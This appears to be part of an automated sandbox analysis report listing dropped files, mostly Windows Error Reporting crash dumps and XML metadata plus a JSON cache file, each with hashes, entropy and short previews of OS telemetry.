                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.8.0.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB87.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.442090002239813
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VY2Ym8M4JSmZFE+q8U5H8wqNd:uIjf0I7qy7VCJaT8wqNd
                                                  MD5:5F5AEBF433BDDE559572E26AB4FFDE5B
                                                  SHA1:F236E78CBEDA8C87B6ABA3B1FAD76CBE31405DDB
                                                  SHA-256:8D98518654190DBB08B47D7251BC8BA558C032C0DA72F5601B166C66269DE84F
                                                  SHA-512:8963A9CC9AA315469B0A2E19FFF200A49DA44C52CA2C35F964536C89850B1155D90B5C623BBDF1F352AC79D0974EE2AF99C3561631686A7BACC8837FD58D9BF4
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WEREDB7.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:17 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):82768
                                                  Entropy (8bit):2.0790260942358483
                                                  Encrypted:false
                                                  SSDEEP:384:4kJYQVkg5gRbZw5zSjZsLb3HdMbVP4u1p5qjMHzmQNE/DxCKPHYtgF:h+kB5gtZizuZmbtM1B1naqviD0eYt
                                                  MD5:95FBB102A6B5341A690E7A2828645984
                                                  SHA1:46952A6B6D52A4232FC0A82D478149548EED4E97
                                                  SHA-256:0D3738FCD2C085CEEE51D59F19D0B5E606A944ED0AF13836888D0693CE9AA97E
                                                  SHA-512:1B0CA5085630521F20747E0D0E2D319962394270FA5F53F205BF0AA786AAAA58526ED820AD37D3C3EF18CC352CF57547367AC431FD351EB4B25BA5210CE274BC
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......9|]g........................l................<..........T.......8...........T...........P$..........................................................................................................eJ......|.......GenuineIntel............T.......d...1|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WEREE54.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8300
                                                  Entropy (8bit):3.6972690682911145
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJpW6i6YHa6ADpDgmfX2pBa89bGBsfhCm:R6lXJI6i6Y66ADpDgmfXiG6fF
                                                  MD5:FDEE841452D0289332EFE8F4B66EAA53
                                                  SHA1:E044494B358EF49AC7F2613A3213E6BBA8A90C6A
                                                  SHA-256:D5C3D24C325375C83101357A5C5FD5E98ECE9AAAFCD672EEA55B766F5C7E40FF
                                                  SHA-512:A154DA47628D9D7ABBD66BBC9215E5A72AD27C1C9851EFA6CABACD56236382CC93624D4BCEBCC9E882EE140D1C3D367741A22149CEA21E57610FA977ED81A098
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.8.0.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WEREE94.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.442990503428509
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYwYm8M4JSmZFldo+q8U5H8wqNd:uIjf0I7qy7VgJLGT8wqNd
                                                  MD5:B44540C11CA81EB374D5E803CEDCB9AD
                                                  SHA1:E39BB4E3E319DBF967C46F9F7B567687D1ACD0A0
                                                  SHA-256:6808D55913755057189204BB2BD7DEEA5B48B546A9C242F300A6819C0F37FE10
                                                  SHA-512:8551D7FB08F0DB31A0DCF59349C0B837F470C93AE894DC2EAFC2DB779A7D33186D07AF007E1160EB9754118881CF672311D08A7CF471B38665A84A6F5A8F4174
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WEREF8C.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:18 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):23646
                                                  Entropy (8bit):2.4205099026224244
                                                  Encrypted:false
                                                  SSDEEP:96:5R8qcjv9qx1IaGGuX1QcVvSNcvXBuDreGDsi74QnXa2Ow5NuBEGRHKO3oSWIkWI6:wqcb9MuX1LvXBuWGYO3XIGGRouHFWi4Q
                                                  MD5:1AD7EF15AE7FC183D4EEEC1C7F5C23FD
                                                  SHA1:F484FD73EC894336ADC9A95F88FA7D702016C19E
                                                  SHA-256:3169D8A585428C64D84B26E7902D992A0152430A649CB56F22CF74DE8811F2A5
                                                  SHA-512:6192D82C60BD12F4715E291DFC25469FA0267348C6CAB0D076A8CDA24978160320002889941D6C53386C226FBCF75BA999407F7E785DE6201ABDE0BB598F608E
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......:|]g............4...........\...<.......d...|!..........T.......8...........T...........(...6G......................................................................................................eJ..............GenuineIntel............T...........7|]g............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERF00A.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8310
                                                  Entropy (8bit):3.6918054851583104
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJdE6KQ6YEIQSUI2gmfhopDt89bxosfFk7m:R6lXJe6l6YEPSUI2gmfhPxbfF1
                                                  MD5:4791B33D20A0D46D07A2A65800F3EEA2
                                                  SHA1:5587ECD820353564FA03FC4629AEA5F52FEB0E93
                                                  SHA-256:9909A022AB3F8E481AFA832F1D2A04331C8A962139C6C4F63377C99EEC42459A
                                                  SHA-512:CD5E3C9B2A9C5BFB08DAB638E9F43531F3E716E0BD6122719E74BB9D88AD6F32907D80B9526356F0013F47B678516A3CA8BC3B24950FA42F98A7CF9840553FC7
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.1.7.2.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERF059.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.442913843705615
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYRYm8M4JS0F4i+q8UI8wq+d:uIjf0I7qy7VhJGiu8wq+d
                                                  MD5:08B8E5802A7E814E83CA8A60F00AE432
                                                  SHA1:617BA0605A56A72E989FD94E9C13A604566A153A
                                                  SHA-256:2AA676DC7DACE4BB96CD4F88F03547B2D7A98E1D451F2D73FD04E2084A42BD34
                                                  SHA-512:0F08205AFB68968F13A3436953A5A4C6562E656EFDFFB152B8C99BED940FC9198CCDFDD967ABF4C093D63D30D1B474E93E1CF2EDF1953C7788AC54741FFBBA54
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERF3F1.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:19 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):82912
                                                  Entropy (8bit):2.1188456461803757
                                                  Encrypted:false
                                                  SSDEEP:384:PgYQVoLQ5g4YpLb3HolrMbVP4u1p5qjMHCmQ1BzAhj:BkF5gN5b4pM1B1naqIHkj
                                                  MD5:3603AE5B71ABA01B7326C330FB9D113C
                                                  SHA1:B355B411C385FBF1FE3824542106C7B6F0CEBB57
                                                  SHA-256:1D39CF24B2DE06754C1A51C97F9DD59A619B0EB3DF3E376865E51C8AC7CE83E3
                                                  SHA-512:790E3AF3D24EE3CB8E65E0E5E337A8558B8EDE56436090DBADB45E82F865283F66705EA2156A691EE30BBF0FFAF706FEDFF462040DD13DC508D7CA657F272898
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......;|]g........................l................<..........T.......8...........T............$..........................................................................................................eJ......|.......GenuineIntel............T.......d...1|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERF50B.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8304
                                                  Entropy (8bit):3.6940485881931724
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJpU6Gis6YHr6ADpDgmfX2pBr89boBsfA4m:R6lXJ66Gis6YL6ADpDgmfXto6fW
                                                  MD5:40E7846B871CFD29CE4E9A0B993FC34E
                                                  SHA1:734DA2C4531FEFAF5592125F81DB1D33E265E88A
                                                  SHA-256:7638CCBBA19BEF2E6983768AD41B3D5FCA8DBA5275FBEFB293AE6A95FF22C2E8
                                                  SHA-512:C450CE4368D517F9F2368B7F3A52356FF47980B4EB44B57E062FC6A454C09E7D17531E4D8BC856630F1DBF9D9E93DEB80BD6E71D306B43F027CBD28F7B6BA1A3
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.8.0.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERF52B.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.443344693574001
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zsVJg77aI9oDWpW8VYIYm8M4JSmZFPT+q8U5H8wqNd:uIjfvI7qy7VsJRTT8wqNd
                                                  MD5:5C81900A3D900DD1E5BD8408FA3BA2B5
                                                  SHA1:3C97D59EB2B6F0FCAF0DE1FE17EFCEEDB69D6E37
                                                  SHA-256:7B9BAAD13922C1F6BEBDE11E3D1D88F01DFE7A6632E28BBCBCE88056F724207F
                                                  SHA-512:E1373C2C86C70625FD79169E7ADBA0F3923824F93AD4C8959E67CF796B62981F478C3BBD7AFDD4DF9327859C5A68ED486C54A0D7371CD3AA7C84ECDCED1FB306
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630941" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERF6EF.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:19 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):92332
                                                  Entropy (8bit):1.9181706317502785
                                                  Encrypted:false
                                                  SSDEEP:384:B/DXQ1Cs4T5gsiZ7lh+g1p5qjyerI0nKqB71x1qANzwAb3OZz:5DXECt5gLV2g1nan3nZR1Z
                                                  MD5:A84AF1F85F5BB29E355F11AFD4A5401D
                                                  SHA1:DA937C97C71E5CFA07B92A3E68055D37D1F734A0
                                                  SHA-256:632E96DA1237CF145B3EC241CE90873A1158E3985812B35D0174E7038BEB710B
                                                  SHA-512:C1C208F3DCDF279596F72752483FD051DCCDF011C40B907F2A0116BF076CFAFD5CA42FE7B3F0FA6B04DC4EF4FCD62BF2A7121D25D64A42F957E5C3384E7B46AC
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......;|]g........................l................B..........T.......8...........T...........X&..TB..........X...........D...............................................................................eJ..............GenuineIntel............T.......d...1|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERF77C.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8306
                                                  Entropy (8bit):3.6974414317055246
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJpjZ6OxJ6YHu6ADpDgmfX2pBP89boBsfd4m:R6lXJ9Z6OxJ6YO6ADpDgmfXxo6fH
                                                  MD5:0BB536F6D477FC0C81C384F8FF589551
                                                  SHA1:4C15347CF9F5BD9C135B1FFA9EAD635D30FACF20
                                                  SHA-256:9637EDE4A16F1C4BDAE2B85A2CD7E3B4960FFFC983BB050AA2BF8A96622F199B
                                                  SHA-512:8F7D4E96A956C96286864E6D00B9BCAB07F7DF8564AF7E3FA39BD86A54689D1212AA30D59BBF4FCC6A288B5B6FB2EC00687DC0F49E323EDE9F241666C3D2301F
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.8.0.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERF79C.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.444272186438496
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zsVJg77aI9oDWpW8VYqYm8M4JSmZFNk+q8U5H8wqNd:uIjfvI7qy7VmJoT8wqNd
                                                  MD5:10D5AEE9711C7F1468A32780D758AB14
                                                  SHA1:13265DF98DB2110A120DB61B9CD00AC4EE9105C6
                                                  SHA-256:7F3856DC42F47411011F3A74448879B7266B4949DF96B8948F44B22329C422E5
                                                  SHA-512:A45B4F549B66F33393FDA2C9DE22F669E1162306D57F9149046B7825C131D43632D70A8D13470CD0D007D8982315621920EA309CB8D937F79269FB715DC5CDEA
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630941" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json

                                                  Download File
                                                  Process:C:\Users\user\AppData\Roaming\xenor\yavascript.exe
                                                  File Type:JSON data
                                                  Category:dropped
                                                  Size (bytes):963
                                                  Entropy (8bit):5.018384957371898
                                                  Encrypted:false
                                                  SSDEEP:12:tkluWJmnd6UGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkD:qlupdVauKyGX85jvXhNlT3/7CcVKWro
                                                  MD5:0F26B79167E7BB356D7AB35E01B90A0E
                                                  SHA1:4655C51903490C3536D4A5D0885D17267526E56C
                                                  SHA-256:0E7A0C4D81A5F0AB568FCF592D369FF0007E1D5DF1130327353347C79BD2BCA6
                                                  SHA-512:B7A8B80DCC0463F5C89DC6F1D8F89E7C570494B9A55A9A05B278371ABDE2D74D3F0A76163A836E8FD7AF94F37A167B9807C441A1C19EF4F04408B509D0204376
                                                  Malicious:false
